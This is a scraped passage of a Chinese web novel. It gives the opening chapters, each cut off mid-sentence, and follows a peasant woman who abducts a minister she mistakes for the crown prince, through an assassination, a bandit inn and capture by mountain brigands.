《太子野奔》 1. 第1劫 遇刺 《太子野奔》全本免费阅读 天还没亮,鸟叫过第二遍,江蒙从床上爬起来。 说是床,也就是俩板凳一头一尾搭着块木板。上头乱七八糟撂着几件衣裳,破布被子脏的看不清原色,被江蒙掀开的时候,板硬的像张油纸。她光着脚到屋外洗了把脸,清水打湿深色粗糙的皮肤,江蒙粗鲁地双手上下搓了两下,手臂绷出流畅的肌肉线条。也不擦干,直起腰,一双浓黑的眼眉挂着水珠。 面前是一片空旷的荒地。风吹过,太阳未升起月亮也落下的黑暗里,荒草簌簌作响。 江蒙钻回那个被人荒废的小棚屋,在黑暗中准确无误地摸到木桌,捞起一把小臂长的弯刀,在衣裳上抹了两下,塞进后腰。 她要去干人。 她要去干了皇帝。 今年大旱,她们村地里几乎颗粒无收,为了交农税,已经倾家荡产。没想到前不久,又有官吏来,说皇上要远征高句丽,下旨筹措兵粮。 高头大马,趾高气昂,一分地一分粮一粒不能少,跪下磕头没有用,甚至打死了一个老伯。起了争执后抓走了好几个壮丁,放下话来:若下月底交不上粮,这些人都处死。 交粮乃是皇命,不交就是违抗皇命,要杀头。江蒙握着刀,心中无限愤懑:那我杀了鸟皇帝,皇帝没了,自然不用遵什么鸟皇命了! 打定了主意,她谁也没告诉,孤身赶往京城。 江蒙在过膝的荒草里行走,沉默而脚步有力,一个多月以来,她每天都这样走至少四个时辰。渐渐的,天泛起鱼肚白,微光黑草里走着一个她。一粒红日从地平线跳出来,朝霞满天,江蒙到了城门,从怀里掏出张路引,递给守门的兵。 “来探亲还是?”那兵例行询问。 “我来找皇帝。”江蒙诚实地回答,守兵却在冲下一个人吼让他慢点,以至于没听清后头俩字儿,看她一个瘦巴巴的乡下女人,认为无非是来寻人,便挥挥手放她进去。 就这样,经过一个多月的长途跋涉,江蒙人生第一次到了京城。 京城真好,真热闹,像一个万花筒,江蒙却无心体会。她按照村里老秀才说的,进城门一直朝东走,走到最宽的一条大道,顺着往里走,看到最富丽堂皇的一间屋子,那就是皇宫。 皇帝就住在里面。 江蒙仰头打量那扇朱门,太大、太高、太鲜亮,就连上头几排钉子都像金子做的。想到这里,她又鬼火直冒——村里人饿的啃树皮,这个鸟皇帝,竟还用金子镶门!早先她就困惑,年年他们上交那么多钱,皇帝怎么花得完?原来他家门都要金子镶,可见其他什么碗、锄头、扁担,也一定不是金就是银了! 江蒙绷着面皮,摸了摸腰后,抬起脚就要去砸门。 走到一半,那门却自己开了。从里头出来一顶金碧辉煌的轿子。 一个大总管模样的人送出来,嘴里说着“主人慢走。”——看来这轿子里的就是皇帝。说是轿子,倒像个小房子,前前后后有轿夫三十二名,各个身强体壮,咬着牙绷着腱子肉抬轿。前后还有几十个护卫,都穿红着绿,腰间挎刀。 这排场、这阵仗、这么多人她打不过啊。江蒙只好先跟在后头,等着时机。 她琢磨着,等人从轿子上下来,她就一头撞进去,把刀往皇帝的脖颈一割——或者先往心口一捅?还没等她琢磨透,变故抖生,从街道两边飞下好多个黑衣人,手持明晃晃的刀,叮叮咣咣就和那些护卫打了起来。 “有刺客——” 江蒙头一缩,躲过一支飞箭。好好好,想让皇帝死的果然不止她一个。 刀剑无眼,街道上其他人早跑光了,一个包子铺被殃及,刚出锅的包子滚了一地,恰好有一个到了她脚边。江蒙低头瞅着那白花花、热腾腾的包子,根本移不开眼,不自觉咽了口唾沫。 终于一把将包子抓进手里,吹了下灰,两口塞进嘴里。 刚出锅的青菜包,外皮儿暄软,里头菜滚热,一股子面香菜香油香,江蒙闭上眼,两行清泪顺着一鼓一鼓的腮帮子流下。 太好吃了。 那头两队人马犹在厮杀,从轿子里悄悄地出来一个紫衣身影,一脚踩烂一个包子,在护卫头领的掩护下往外走。然而黑衣人望见,从背后放出一冷箭,正中那护卫后心。 江蒙把这一切看的清清楚楚,眼见那鸟皇帝要逃,便顾不上许多,跳出来便踏进那刀剑场,一路狂奔过去,一把揪住他后衣领: “哪里逃!” 一声暴喝如雷吼,骇的那人僵住,被江蒙拎着掉转过来,拿刀对准脖子。她终于看见皇帝的真容——这一眼却把她看呆了。 面容如玉,眉目如画,清泪满脸,好似梨花沾雨湿,风华更浓。怜香惜玉实在不应该算品德,而该算是一种本能。江蒙把刀放下了。 他不是皇帝,皇帝很老,这般年轻,他应该是太子。 杀他也没用,江蒙问:“你爹呢?” 尸体躺了一地,形势万分危急,刀光又剑影,眼前这个女人在问:“你爹呢?” 在祖坟里死着呢!你问这个干嘛?! 今早上右眼皮狂跳,裴预就知道没好事。韩一成那老匹夫仗着自己是左相,素来要压他一头,近来又百般阻挠他和陛下远征高句丽,他气不过,就雇了刺客想除掉那老家伙。却没想到走漏了消息,对方先下手为强了! 但裴预不能抓狂,保持冷静不说话。早上进到眼里的那粒沙子还在磨砺黏膜,刺激的他哗哗流泪。他胡乱擦了把,在短暂的清晰起来的视野中,看见面前这个女人。 很年轻,一副乡下人打扮,皮肤粗糙,不白皙,看来是惯被风吹雨打,也不懂得好好保养。五官却意外生的很好,鼻梁高挺,一双浓眉下便是黝黑的眸子,细细的内双,显出些天真执拗的憨态。 她回身一脚踹倒举刀砍过来的刺客,腿抬起时,裴预分明听见了风声,像一记重拳,极速而强力地点到刺客胸口。对方捂着胸口,吐出一口血,倒退几步倒了下去。 “喂,太子!你 2. 第2劫 启程 《太子野奔》全本免费阅读 半个钟后,裴预和江蒙出现在了当铺。 裴预低估了这个女人的脑壳,没有他想的那么不好使。 他们对视一眼,江蒙凑近了,上手来掏他的腰带,“哎你做什么啊。”裴预慌忙一躲,拍掉了她手,护住腰带,“你做什么啊。” 不是说好他自己来的吗? 高高的当铺柜台被木板封死,只留下一个小口,一个伙计在里头,居高临下地看着他们。一旁还有两个平民,也在向他看,裴预脸涨红了,拿住腰带的手,无论如何动弹不得。 最后江蒙出马,把他身上的东西都扒了下来。 共有: 镶宝金丝冠一顶。 翠玉扳指一只。 双鱼玉佩一只。 香囊一只。 松烟色汗巾一条。 紫绸外衫一件。 …… 转眼看见他脚上的靴子似乎也是缎子的,就也扒了下来。裴预奋力反抗未果。 只能眼睁睁看着她把这一堆东西,一股脑全塞进了那高高的柜台,里头伙计一样一样看,完事后道:“二百两。” 裴预睁大眼睛,和江蒙对视,彼此都从对方眼里看到了震惊。 “好!”江蒙一拍大腿,生怕人家反悔似的,“成交!” 她是真没想到,这一身行头居然能值这么多钱,二百两,这不仅够她俩吃香喝辣地回村,还能大大的有余!她兴奋地把那张二百两银票拿到裴预面前,抖的哗哗作响。 裴预目瞪口呆气若游丝:“……二百两?!” 区区二百两,不说其他,都不够他那七彩霞新品西洋布衣裳的一只袖子! 江蒙又花了两个钱,就地给裴预重新置办了一身行头。裴预打死也没想到,这辈子还能沦落到捡别人的二手衣服穿。 “不一定是多少手呢。”江蒙老实道。把裴预气的哽住。 他立刻就要照穿衣镜,没有,只得跑外头的水坑前看。一身灰扑扑的粗布旧直裰,哪儿有半分美感可言?他周身那通天的贵气,已然变成臭烘烘的穷酸气了! 裴预几乎心碎,江蒙还在一旁夸:“像书生哩。” 他怒目而视,她眨眨眼睛,补了一句:“漂亮书生。” 有了钱,江蒙又去集市上置办行李。她来的时候啥也没带,一个人,一双脚,一袋窝头吃到京城,一路上找人家废弃不要的棚屋住,没有就露宿。但是她这糙人可以,太子细皮嫩肉的,她却不敢让他跟自己一样,怕人死在半道上。所以她掏出足足三十两银子,买了一匹马,一辆板车,装了几个箱笼,自认为十分豪华,对得起太子了。 裴预全程黑着脸。 他刚刚不小心碰到了那板车,虎口便被木刺扎到,一动就疼,奋力想把刺弄出来,那细细的木刺却在皮肉里跟他捉迷藏,以为拔出来了,一扫,却又尖锐的疼。弄得他气急败坏而无可奈何。他越拔越上火,从而想到这都是该死的板车的错,继而联想到这都是那该死的女人的错,如果不是她,他又怎么会受这般苦楚!思及此,他脸终于黑的像锅底。目光喷火地看向江蒙的背影。 江蒙在买鸡,正跟商家对砍三百回合。 他看向江蒙腰后的那把刀,又看了看全神贯注砍价的江蒙,毫无防备、破绽百出、十分有机可乘。裴预恶向胆边生,伸手一拔她的刀,就朝她屁股扎去。 他的打算是先弄废江蒙。屁股这地方没有脏器,扎一刀死不了,但是一走路就要牵扯到,所以能让她失去行动能力。然后他先回府换身衣服,再把该刁民送上公堂好好问罪。 他是这么想的。 但是他耳边听见呼呼风声,没弄明白怎么回事,已经躺在了地上。“你偷袭我?”上方江蒙的脸格外愤怒,他觉得大事不妙,忙勾起脖子冲周围喊:“快抓住这人!她绑……”后面的话还没说出来,江蒙的脸上惊诧中带着愤怒,一拳揍过来。 架我……裴预两眼一黑。 他不该偷袭。江蒙反应太快,他对上她就好像黄鼠狼碰上狗,毫无还手之力。下一次,还是偷偷溜走吧…… 再次醒来,裴预感到一阵颠簸。 他躺在板车上,一睁眼便是一整块蓝汪汪的天空,三月的天,原来如此澄澈么?身下硬邦邦、晃悠悠,有股奇异的味道,但不难闻,那是稻草被晒透的味道。江蒙坐在他旁边,见他醒了,冷哼一声别过脸。 脸色比他的还臭。 她不搭理他,扭头和别的什么人说话,裴预支起身子,发觉他们在一条山间小道中,两旁翠绿的树叶在阳光下闪闪发亮,不断地后退。和他们同行的是一对中年夫妇,架着一辆堆满碳的车,男的赶驴,女的坐在车沿打毛衣。 “这是,出城了?”裴预大惊。 江蒙好似没听见,继续和那农妇唠嗑。月底二壮他们就要被杀头,她必须尽快带着太子赶回去,出了京师,下一站,要到豆城。 “你要是想快,走官道肯定不行呀,得走六天呢。”农妇拿根签子挠挠头,“喏,前头路口走右边那条岔路,那条路近,三天就能到。” “有水吗?”裴预哑声问。从早上出家门以后,他就没喝过一滴水,这会儿喉咙干得快冒烟。可是江蒙似是打定了主意不理他,仍旧像是没听见。倒是那农妇注意到了,伸头打量他一眼,惊讶道:“好俊俏的小伙子!” 江蒙啐了一口。 “你家小相公口渴呢。”那农妇促狭地笑,“你不管管呀?” 江蒙和裴预异口同声否认,彼此都深觉晦气。农妇哈哈直乐,扔过来一只牛皮水袋。 那水袋又脏又旧,还有一股异味儿,就连他家的马夫都不会用这东西喝水。裴预两根指头捏着它,一时间恨不得立刻扔了。但肚饿能忍,口渴难捱,他实在快渴死了,只得眼睛一闭,将瓶口悬在嘴巴上方,就往下倒。 久旱逢甘霖,他喝的正起劲,水袋却突然被人夺了过去。 江蒙对他怒目而视:“你喝水还是洗脸呢?洒这么多。” 奇也怪哉,又不是喝的她的水,她管洒不洒作甚?裴预气也上来了,想他平时喝的什么茶水,现在喝这种不干不净的水,他还没说什么呢! 江蒙瞪大眼:不干不净?给你水喝,你还嫌弃上了?裴预冷笑一声,难不成还要我谢谢你? 又是一拳揍过来。 再次醒来,天色已经临近黄昏。那对夫妇走了官道,而他们正沿着近路往前走。 “你这什么意思啊。”裴预举起被绳子绑起的双手,有气无力道。 被揍了两回,他现在已经没脾气了。此一时彼一时 3. 第3劫 客栈 《太子野奔》全本免费阅读 “不住。”江蒙斩钉截铁。 原来前头不是村落,而是家客栈,在树木掩映下,安安静静地坐落在路边。裴预一见大喜,住客栈可比借住在乡野村夫家里好多了,立刻就要进去。 江蒙的意见却正好相反,她也有自己的一套道理:这又不是官道上,前不着村后不着店,这客栈就一家孤零零地开在这儿,怎么看怎么可疑,多半是黑店。不能进去,不如继续赶路。 两人正争执不下,天却隐隐有雷声,江蒙眉毛一皱:三月的天,孩子的脸,说变就变,这是要下雨了。雨天路滑,又是夜里,她又架着板车,一不留神就可能摔个人仰马翻,并不合算。所以她闷头想了一会儿,还是依了裴预要求,决定暂住一晚,天亮时不管下不下雨,都继续赶路。 二人便走进客栈。 这家客栈里非常寒酸,裴预一进去就皱起眉,大堂里零星坐着几个人,他们一来,便齐刷刷转头盯着他们看。裴预觉得浑身不自在,便移开目光,跟着江蒙到柜台。 柜台几乎有一个人高,掌柜的只露出肩膀以上,眼睛翻着瞧他们。身后几块老旧的木牌子,上头字样黯淡褪色,写着“天字一号”、“地字”之类。 “一晚上一两?!”江蒙瞪大眼睛,“你们这是黑店吧。” 一句话说的那掌柜的脸掉下来,露出一口尖牙皮笑肉不笑:“妹子,说话注意点。” 裴预在一旁却是已经不耐烦,他只想早些沐浴歇下,一两银子而已,不知道江蒙在抠什么:“还有一百七十两呢,花这一点钱又有何妨?” 江蒙顿时扭过脸,眼睛瞪着他。裴预很看不上她那穷酸样儿,心想这二百两可是本相的东西换来的钱,本相想怎么花就怎么花,便压根不理她,对掌柜的道:“要两间最好的上房。送一桌最好的席面来。” “一间。”江蒙冷不丁插话。 裴预不可置信地望向她: 寡女孤男,她竟要共处一室,世间怎会有如此寡廉鲜耻之女子?!她无所谓,可裴预却不能让自己的清誉被毁,毕竟他还没有娶亲。更何况他还打算晚上悄悄溜走,所以坚决要两间房。 只不过他的坚决没什么用罢了。 店小二瘦削长脸,满脸堆笑,领着他们上楼。裴预心如死灰如赴刑场,登上吱呀作响的木楼梯,到了二楼最里头一间,便是“天字一号”。进了去,里面还算宽敞,虽然有股尘土味儿,但起码不太脏。 裴预掩着鼻子打量一圈,指挥着小二将桌子、床都再擦一遍,便让他下去送餐食上来。 门一关,江蒙便指责起他来,说他不该露财,会遭人惦记。 裴预大为震撼:他露什么财了?区区一百七十两,算什么“财”?他知道江蒙的打算:这人就是想最后多剩点银子,所以路上能抠则抠。不想花钱住客栈,又嫌好房间贵,所以又是怪他露财,又是编出什么黑店的故事来唬他。他听她一本正经地在那儿说什么黑店劫杀过往行人,夺了人财物,又把人弄死了割肉,大块好肉当黄牛肉卖,碎的边角料就剁了做人肉包子。 裴预把筷子重重一放。他这正吃饭呢,桌上好几盘红彤彤的肉菜,他都下不去筷了。 江蒙坐在窗边,也不吃饭,也不喝茶,就揪着她在京城买的干馍,一面吃一面往下看:他们的车马栓在底下草棚子里。 “你能不能别说了,”裴预道,“那都是话本里唬人的故事,你还真把它当真了?” 江蒙扭过头来,“你觉得都是假的?”她目光一闪,闷闷地说完,就沉默了。 她不再多发一言,那副反应倒搞得裴预心里发毛,问了一句:“你不会真吃过人肉吧?”话问出去江蒙也不回答,也坚决不吃那桌东西,搞得裴预惴惴难安,食欲全无,吃了几口就让小二把饭菜撤了下去。等到洗澡的时候,他心里仍然毛毛的:这刁民,不会真吃过人肉吧? 洗完穿好衣服从屏风转出来一看,江蒙已经坐在床上脱袜子了。 裴预脑中“轰”的一声,什么人不人肉不肉的全忘了:“你做什么?!” “上床睡觉啊。”江蒙理所当然。 裴预气的冒烟:“你沐浴了么?!” 不对,就算她洗了澡也不能上他的床,跟这种粗人同床共枕,光想想都觉得难以忍受。等江蒙拧着头发嘟嘟囔囔“真麻烦”从屏风后转出来后,裴预端坐床上,尽管双手被江蒙在沐浴前绑的严严实实,仍然一副万夫莫开的气势:“你不能睡在床上。你打地铺吧。” 江蒙愣住:“凭啥?” 她只穿着一身粗布里衣,身体的轮廓便比白天清晰,两条有力修长的腿行走时,裤子便绷出大腿浑圆饱满的线条。轻浮。裴预别过脸:“因为我……我这可是,龙床!” 陛下:臣之忠心,天日昭昭,狂悖之言,实属无奈之下不得已而为之,绝非臣本心,望陛下宽恕则个…… 裴预在心里给皇上扣了几个响头,继续道:“你一介平民,敢上龙床,就是僭越!” 江蒙脸一沉:“你敢骂我?!” “我何时骂你了?”裴预莫名其妙。 “贱……什么玩意儿的,不是骂人?” 哦,他忘了这就是一文盲粗人,这辈子估计没听过这么有文化的词儿。裴预跟她好好解释了一通,江蒙总算了然:“就是说你睡的地儿,咱就不能睡,睡了就是有罪,得杀头。” “然也。” “什么鸟规矩。不听。”江蒙一屁股坐到床沿,“往里头去点儿。” “不行!” “又咋了?”江蒙显得很不耐烦了。 裴预憋了半天,脸都要憋红了:“男女同床,会生小孩的,你不知道么?” 他也真是拼了,这种话都说出来,他自然知道生子不是那么简单,只是想唬住江蒙。谁知江蒙脸色如常:“嗐,瞎说,得〇〇才会。” 一个裴预从未听过的直白的、粗鄙的词蹦了出来,他呆掉了,不敢相信自己的耳朵:“你、你……” “没听懂?就是XX的意思。”江蒙解释,“我们村人家成亲的时候我们都观过礼,你没看过?” 裴预听说过,在一些民智未开之地,新人成婚时会在同村人旁观下圆房,一旁宗族老人借此向年轻人教导生育之事,和野蛮人无异。他在听说这种事时,万万没有想到有一天,野蛮人就在他面前! 裴预使劲儿往床里侧缩,整个人几乎贴到墙上。如果可以,他倒愿意跟个壁虎一样巴到墙上不下来,也不想跟她同一张床。好在她还不算太丧心病狂,分了两床被子,不至于让他跟她贴背而眠。 想 4. 第4劫 逃命 《太子野奔》全本免费阅读 身后叮叮咣咣,裴预一整个背的麻意始终没有退却,绷紧的发痛,不知道何时就会有一斧子砍到他身上。他用尽力气想要爬起身,躲起来,可用力到浑身是汗,也一根手指也抬不起来。 裴预在心里想过好几种应对方式。 这些人无非是想要钱。他如果坦陈身份,告诉他们把他作为人质,去府上要钱……不,这帮人干的又不是绑架的营生,根本不会这么大费周章。拿太子的假身份去压……?更可笑了。江蒙都不会听,更何况这帮恶徒。 权势、地位,往日里不可一世能呼风唤雨的东西,现在却全部失灵,他的命,全系在那刁民一人身上了! “江蒙!”他又叫。 那头传来江蒙“诶诶啊啊”掺杂着脏话的答应声,裴预感到身后一下剧震,似乎是什么人跳到了床上,然后他脖子一紧,有人拎着他后衣领把他拽起来,裴预喉结一痛,差点被勒到断气。他转动眼珠子,眼睛斜到极致,终于看清把他抓在手里的人是江蒙。 ……松了口气。 但局势依旧不容乐观,江蒙一对三本就吃力,再带上一个动弹不得的他,更是左支右绌难以应付,很快被逼到墙角。 三个人满脸狞笑,举起手里的斧头棍棒,慢慢逼近。江蒙拽着他的手甚至有些脱力,气喘如牛,已经力竭。 他们已然到了绝境。 冷风从窗户缝里吹进来,吹得裴预浑身凉透,心也凉透:她会不会丢下他,自己跑? 刀在手里,银票在身上,马在楼下,扪心自问,如果现在能动的是他,他一定会毫不犹豫丢下这个累赘,自己先脱逃。如若留在这里……就只能等死。 他望向江蒙。 江蒙……掏出那两张银票塞进了嘴里。 那三人齐齐发出一声惊呼,裴预也惊呆了,第一反应是:这得多脏啊。掌柜的骂了一声,赶紧向前来想掰开她的嘴,却被江蒙挥舞着弯刀逼退。 “过来我就咽下去。”她拿刀来回指着三人,嘴里含含糊糊的,“嚼碎了咽下去。” 银票用的是防水油纸,揉皱了泡了口水倒没什么,但是嚼碎就不行了。这两人身上的肉肯定没有一百七十两值钱,所以黑店三人一时间还真被唬住,停在了原地。 “钱都给你们,放我们走。”江蒙说。 另外两人纷纷看向那掌柜,掌柜的眼珠子一转,露出一个皮笑肉不笑的假笑:“没问题,妹子,你先把钱给我们。” 江蒙:“你们先往后退。” 几人僵持着,江蒙拽着他贴着墙挪动,雨越下越大了,他们背后的窗户被风吹得哗哗作响。裴预紧张地思考如何才能顺利到楼下,这些恶徒拿了钱后肯定不会放过他们,他们要如何…… “准备。”他忽然听见江蒙小声说。 他一愣,望向她,就见她忽然从嘴里抠出那团银票,使劲儿往前一扔。那团潮湿的银票在空中牵引着银丝……事发突然,那三人下意识都去抓,趁这机会,江蒙猛地往后一肘破开窗户。 抓着他一起跳了下去! 裴预睁大眼睛。 他完全没想到会是这样,完全没有心理准备,直到整个人腾空,才后知后觉:从窗户里掉下来了? 从出生到现在,二十四年来,人生中第一次,从空中坠落。双腿在空中弯曲,完全找不到承托,极速的下坠,强烈的失重感,他大脑一片空白。雨幕中,月光里,他大张的瞳孔只印出另一双眼眉,浓黑的,和他对视。 其实也只有一瞬,楼上并没有多高,他们摔到了泥地里。因为大雨,地上很是泥泞,反倒没有那么坚硬。裴预只感觉背后脑后一阵剧痛,胸口和腹部也一阵剧痛——他被江蒙压在身下,当了她的肉垫子——两眼一黑,就又什么都不知道了。 好像……渐渐习惯了晕过去的感觉呢。 肚子好痛…… 好想吐…… 裴预哕了一声,费劲儿地睁开眼,便被强烈的白光刺到酸痛,又赶紧闭上。有什么东西在一下一下顶他的肚子,他以为是江蒙在拿膝盖顶他,痛苦地虚弱道:“别打了……我错了……” “嗯?”上方传来她的声音,“你醒了?” 裴预过了好一会儿,才缓过神来。原来江蒙并没有打他,他肚子硌得慌,是因为他现在面朝下、像个麻袋似的横在马背上。晃晃悠悠的颠倒的视野中,在马肚旁边,有一只被拴住脚、同样头朝下的……鸡? 江蒙停下马,把他从马背上弄下来:“咱们逃出来了。你现在能动了不?” 雨过天晴,太阳刚升到半空,一汪天空碧蓝如洗。道路两旁青青树叶往下滴着水,裴预坐在树下,放松颠簸一夜的身体。 药效已经褪去,除了四肢有些发软以外,身体没有任何不适,有种终于解除禁锢的轻快。昨夜的风雨、刀斧、狞笑的可怖的那三张脸,也都像梦里的一样,感觉很遥远了。 裴预长长地呼出一口气。 忽然觉得下巴有些紧绷,他伸手一摸,竟是干涸的不明残渣。 ……看来他已经在昏迷中吐过了。 裴预赶紧把下巴清理干净,额角青筋直蹦,低头打量自己其他地方——浑身上下,全是已经干涸结块的污泥,脸上、头发上、手指缝里,全是泥土。 他被脏的几乎崩溃,江蒙在一旁,却很不以为然,她现在躺在他旁边,整个人呈“大”字舒展,看起来十分惬意。她说沾点泥怎么了?泥巴不脏,还能治病呢。猪被跳蚤叮的受不了,就到泥坑里打滚,身上的跳蚤就没了。人有脚气,在泥地里踩一踩,脚就不痒了…… 裴预忍无可忍地打断,他现在觉得自己是一头得了脚气的猪。 那匹载着他们奔逃一夜的白马,此时在路旁吃草休息,裴预看着它身后光秃秃的空气,问:“板车呢?” “卸了,不然跑不快。” “还有钱吗?” 江蒙从怀里掏出俩铜板,扔到他脚下。 行李也留在了那黑店。现在他们一无所有了,除了一匹马…… “怎么还有只鸡?” “哦。”江蒙一个猛子翻身坐起,“差点忘了。” 她走到马鞍边,将那只头朝下挂了一晚上的可怜母鸡解了下来, 5. 第5劫 客商 《太子野奔》全本免费阅读 来的是一支小商队,将近二十辆车,有十来个人。领队是一个瘦长脸的精干中年人,见了路边灰头土脸的江蒙二人,便停下来,听完他们的悲惨遭遇后,慷慨地表示可以同行,送他们到豆城。 江蒙骑着马,一面跟着商队慢腾腾往前走,一面跟领队搭话。运货的骡子脖上拴着铜铃,发出阵阵响声,裴预坐在货车边缘,掩着鼻子,试图隔开车轮扬起的尘土。 说了几句话,双方便依照惯例,自报家门:那领队姓赵,河北人。江蒙报了自家姓名,谭州人,到介绍裴预时,却犯了难: “他是,呃……他……” 裴预看了支支吾吾的江蒙一眼,看出她眼神里明显的求助。这人粗鲁野蛮,却也意外的老实,容易相信别人的假话,自己也不会说假话。他清了清嗓子:“我是她夫君。” 江蒙差点儿把眼珠子瞪出来。 一男一女,长得一点儿也不像,除了夫妇,裴预想不到其他更有说服力的关系。接下来的问题,也都由他全权作答。为什么来京城?赶考。为何离开?名落孙山回原籍。为何走野路?家中老母重病,着急回去。 “你们俩胆子也是真大。”老赵感慨道,“敢走这条路。” 裴预和江蒙对视一眼,江蒙道:“这条路怎么了?” 老赵便解释,从这条路到豆城,虽然近,却要经过一座山头,那上头有一个山大王,扎了营寨,聚集了五六百人,专做打家劫舍的营生。扰的附近村民苦不堪言,过往的行商也都不敢从这里走。 江蒙凑过来小声问:“这事儿你和你爹知道吗?” 九州万方那么多大事,就这几个小毛贼,还上不了裴预的案桌,更别提皇上。匪患年年都有,剿了旧的又有新的冒出来,只要不扩散,都是小事。江蒙听了这回答,脸顿时拉下来。裴预不理她,问那领队:“既然赵领队知情,为何还要冒险走这里呢?” 老赵苦笑一声。 原来他们本不是商人,都是农民,只是乡里近来闹瘟疫,药材稀缺,药铺又乘机抬到了天价,他们根本吃不起。无奈之下,只好几家出一个青壮年,自己去京师买药运回去。之所以不走官道,一是过官卡要上税,他们买到的本就不多,再被盘剥恐所剩无几。二是乡里病患危急,想尽快回去。 “不过你们也别担心,其实我数年前与这山大王有点交情。他是个最仗义之人,从来只劫财,不杀人。”老赵道,“若是真碰上了他,他认出我来,一定不会为难我们。” 已经走到这里,再回头定然不可能,与其落单,不如跟着队伍更安全一些。他们从中午走到傍晚,一路上江蒙没有再跟裴预说过话,夕阳西下,前方逐渐显出山的影子,黑乎乎的无言矗立。 眼看太阳的余晖消散,天边只剩下灰紫色的淡云,皮肤感到凉意,队伍停下来吃饭修整。老赵好心地把干粮和水分给了他二人,裴预接过水,踌躇了下,小抿一口润了润嘴唇,便将水倒到布巾上,仔细擦了擦脸、脖子和双手。 干渴尚可以忍受,但肮脏他实在是受不了了。 江蒙在一旁默不作声地吃窝头,翠花蹲在她身侧,时不时啄一口她揪下来的碎渣。无言片刻,裴预终于忍不住:“你究竟在生什么气?” 他并不觉得他说的有什么错。偌大一个帝国,边境战事、海上贸易、藩国来朝……这些动辄就影响国家气象,能决定数万甚至数十万人命运的,才叫大事。与之相比,一座小小山头上的几百号山匪,又算得了什么呢?他们精力有限,不可能放着要事不管,去管这些鸡毛蒜皮。 “你们这些大人物,总是有很多大事,会说很多大道理。这些我都不懂。”江蒙说,“我只知道,种地很不容易,你得先……” “你到底想说什么?”裴预打断她。 “……这么辛辛苦苦种出来的地,也就能换几个鸟钱,要指着这点钱弄口饭吃,扯点布把小孩衣裳改大一点。可是土匪一来,翻箱倒柜的把钱抢走,这些就全泡汤了。”她闷闷地说,“你们忙着你们的大事,可我们也真的要活不下去了。” 江蒙说完就起身走开,坐到那几个乡民一堆去。裴预被她撂在原地,本想反驳的话没说出口,索性闭了嘴,直接起身走到老赵旁边。 老赵在清点药材。他不识字,对着清单辨认地很吃力。裴预看了看道:“这是麻黄,那是苍术。” 他帮着清点完二十辆车,老赵千恩万谢,裴预摆了摆手:“不必谢我,我也有点小事想请赵领队帮忙。” “相公请说。” “我原想在京城裴丞相府上讨个差事做,便给他们管家打点了些银子,可还没等到结果,家里就出了事不得不回谭州。”裴预道,“听说赵领队你们要途径涿郡,那儿有座熏风楼,掌柜的是这管家的亲戚,请您给他带个口信儿,就说元度在豆城等他消息。” 熏风楼是替他搜罗情报的地盘,元度是他的字。 这两日他一直在回想当时遇刺的场景。本来,他并不担心江蒙能带他走多久,堂堂右相被掳走,朝廷必然早就行文各州府,设卡严加搜寻。等江蒙一进豆城,在城门就会被守兵拿下。 但他越是回忆,就越觉得不妙:当时在场的刺客和侍卫好像都是死了,似乎……没人知道他被一个莫名其妙的刁民带走。 好的情况,判定他是失踪。可裴预认为更有可能是另一种情况: 姓韩的会把他失踪的事压下,直接宣称,他已经遇刺身亡。 这就很恐怖,如果所有人都以为他死了,自然不会有任何人来会找他。没有追兵、没有关卡,江蒙真的能大摇大摆一路把他带回去。 不仅如此,他“遇刺身亡”的消息一旦传开,他在朝堂的势力定然会土崩瓦解。等一个月后再回来,早就人走茶凉。 他必须尽快回京。 明日商队便能到达涿郡,从涿郡到豆城,快马加鞭半日便可到达。也就是说最快明天晚上,他的人就能找到他。 裴预回头望了望,那边闹哄哄的,是江蒙聊得兴起,跳起来在耍刀,围观的都在起哄拍手,没有人注意这边。 他回过头,接着道:“此事我夫人很不愿意, 6. 第6劫 山匪 《太子野奔》全本免费阅读 十几个人被绑着扔到了山大王脚下。 这其中江蒙又被绑的更为结实,其他人都只是双手绑在背后,蔫头耷脑地站成一排,唯有她五花大绑,连嘴都被堵上了,被按着跪在地上。她犹不服,昂头恶狠狠地瞪着那山大王。 男人一张刀削斧凿似的黧黑面孔,才开春时节,却赤着精壮上身,粗壮大臂上绑着条毛茸茸的兽尾,胸脯鼓鼓囊囊的,横着一条长长刀疤。 “这怎么还有个女人。”他走到她跟前,一把扯下她嘴里的抹布,粗糙手指揪起她脸颊肉捻了捻,“长得真带劲。就是你,砍伤了我好几个弟兄?” “是我!咋了?!” “好!”山大王提高声音,“好女人!带下去拾掇拾掇,做我的压寨夫人!” 什么玩意儿。江蒙惊了:“不行!” “为啥?” 江蒙硬着头皮看了眼裴预:“我已经有老公了。你再娶我,你就只能做小。” 那山大王乐了:“老子做的就是小!”一挥手,“带下去!” 江蒙被绑的跟大闸蟹一样,就算她是孙猴子也翻不了身,只能骂骂咧咧地被带走。她走后,那山大王走回台阶,那儿有一张巨大的、铺着老虎皮的高椅,他一屁股坐到上头,长腿一翘,居高临下地望着底下的俘虏。 他给了他们两个选择,现在山寨缺人,他们若是留下来做事,就可以活命。如果不愿意想走,就要杀头。 裴预扭头望向老赵,那中年人显然慌了:他不能留在这,他还要把药材运回去救妻儿老小。赶紧站出来,哆哆嗦嗦道:“兄弟,是我啊,你不认识我了吗?” 他提起两年前被官府强征去修河堤,工头残暴,是他领着他们造反。后来他作为领头的被抓,逃走后落草为寇,而老赵则回乡继续种地。他们也曾是共患难的兄弟。 那山大王静静地听着。一直面无表情。等老赵说完,他豪爽地哈哈大笑:“好!既然是兄弟,那就留下来!” “啊?不是,我们还要回去救人……” “你想死吗?”山大王打断他。 老赵像脖子被人掐住,喉咙里“咯”一声,就说不出话了。他呆若木鸡,终于意识到眼前不再是那个跟他对碰酒碗的大哥,而是个杀人不眨眼的魔君。 没有人想死,所有人排成队,等着被领走。裴预站在队尾,那小喽啰嫌他动作慢,伸手大力一推,裴预一个踉跄,猛地扭头怒目而视。 “慢。”上方山大王忽然又开口,“忘了问了,她老公,在你们当中吗?” 这个“她”是谁不言而喻,所有人望向裴预。裴预脸色铁青,抬眼冷冷道:“是我,如何?” 他容貌俊美,身材高大,纵然双手被绑在身后,灰头土脸狼狈不堪,却仍是脊背挺拔,一派长身玉立的气度。 “好,”山大王抬手一指他,“拖下去砍了。” “我看谁敢?!”裴预厉声。 他这一喝的威势,竟把小喽啰震的停在原地,踯躅着不敢向前。山大王一拍扶手,声若洪钟:“我说拖下去砍了!” “大胆!”裴预额头青筋直跳,已经到了愤怒的顶点,区区一个土贼,竟敢在太岁头上动土,“你可知我是谁,你……” “报——” 